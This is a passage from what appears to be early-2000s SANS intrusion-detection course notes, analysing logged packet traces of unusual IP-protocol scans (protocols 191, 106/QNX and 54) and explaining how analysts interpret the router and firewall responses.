00:32:28.164663 B.4.5 > 209.207.135.133: icmp:B.0.255 unreach
00:32:30.192825 209.207.135.133 > B.1.255: ip-proto-191 48
00:32:33.203521 209.207.135.133 > B.2.255: ip-proto-191 48
00:32:36.219821 209.207.135.133 > B.3.255: ip-proto-191 48
00:32:36.220302 B.4.5 > 209.207.135.133: icmp:B.3.255 unreach
00:32:38.243973 209.207.135.133 > 255.255.255.255: ip-proto-191 48
00:32:41.254622 209.207.135.133 > B.5.255: ip-proto-191 48
00:32:44.262961 209.207.135.133 > B.6.255: ip-proto-191 48
00:32:47.276258 209.207.135.133 > B.7.255: ip-proto-191 48

00:32:50.285609 209.207.135.133 > B.8.255: ip-proto-191 48
00:32:50.286098 B.4.5 > 209.207.135.133: icmp:B.8.255 unreach
The key to understanding this is to watch the unreachable
messages. Router responses are shown on your slide.
IP Type 191 Scan
The prober probably has no particular expectation of finding servers for IP Protocol 191 and then
exploiting them. If a host was to answer here, it would probably answer with an ICMP Protocol
Unreachable message.
That is NOT what you see on the slide, however. In this case, a router with interior routing protocols
is answering for the site and telling the attacker which networks do not exist. This is a quick way to
scan an entire network if they allow oddball protocol types inside the network.
23
IDIC - SANS GIAC LevelTwo
©2000, 2001
23
Protocol 106 - QNX
79, 2000-08-31 02:04:58, 2000002, Unknown IP
protocol, 24.net1.sub2.162, cr000000-
a.rchrd1.on.wave.home.com, 24.net1.255.255,
, protocol=106,2,A
79, 2000-09-06 11:34:43, 2000002, Unknown IP
protocol, 24.net1.sub2.162, cr000000-
a.rchrd1.on.wave.home.com, 24.255.255.255, ,
protocol=106,4,A
Key to Understanding:
106 is allocated to the real time operating system QNX.
Detect and analysis by Bill Royds:
0 ffff ffff ffff 00e0 2936 2a0a 0800 4500 )6* E.
10 003d 005e 0000 406a 01e7 1872 46a2 18ff .=.^ @j rF
20 ffff 0102 0029 09eb 182b 0000 0000 0000 ) +

30 0000 0000 0000 0011 1200 6a61 6d65 736d jamesm
40 006e 6574 2e69 6e74 7261 00 .net.intra.
“This is seen as an unknown protocol to BlackICE. In actual fact IP protocol 106 is allocated to the
QNX Operating System developed by QNX Systems of Kanata, Canada. (See />notes/iana/assignments/protocol-numbers for assigned IP protocol numbers). This is an OS widely
used for real-time process control systems and with many users and developers in the Ottawa area.
Here is a breakout of one packet saved from the BlackICE evidence files. BlackICE can create a
round-robin packet capture of recent packets received. I have the last 20MB kept in 20 files of 1MB
each.”
24
IDIC - SANS GIAC LevelTwo
©2000, 2001
24
IP Type 54
08:29:32.607260 172.20.20.1 > 192.168.1.2: ip-proto-54 44
08:29:32.607260 172.20.20.1 > 192.168.1.2: ip-proto-54 44
08:29:41.289953 172.20.20.1 > 192.168.1.2: ip-proto-54 44
08:29:41.289953 172.20.20.1 > 192.168.1.2: ip-proto-54 44
Probably misconfigured cable modems
May 19 10:02:33 zion kernel: Packet log:
bad-if REJECT eth0 PROTO=54
129.79.99.99:65535 MY.NET.175.104:65535 L=68
S=0x00 I=0 F=0x0000 T=13 O=0x00000494 (#34)
The detects for IP Protocol 54, shown on the top half of this slide, seem to have something to do with
cable modems implementing RFC1735. There's even a newer RFC on it: RFC 2332, the NBMA Next
Hop Resolution Protocol (NHRP), located at />The second detect, by Sean Brown, was attributed to a color printer. The log entry has not taught us
any more about the behavior of the protocol, and in fact, the log entry may contain incorrect
information. This shows a problem that happens in log files when the system does not understand
the service or protocol. NHRP probably doesn’t have a port number feature, per se; the firewall is
probably just reading the first four octets past the IP Header and interpreting that data as port
numbers.

25
IDIC - SANS GIAC LevelTwo
©2000, 2001
25
Summary
• Various scan types
• Buffer overflow code
• Reconnaissance techniques
• IP protocol numbers
In this section of the course, we have studied more intrusion detection patterns. We have looked at
various scan types, such as Mscan, Multiscan and Trojan scans. Then we looked at some examples
of buffer overflow code, which typically use no op instructions and shell commands. We also
examined some other scans that are designed to gather reconnaissance information from services
such as portmapper and rexec. Finally, we discussed IP protocol numbers and their significance in
intrusion detection.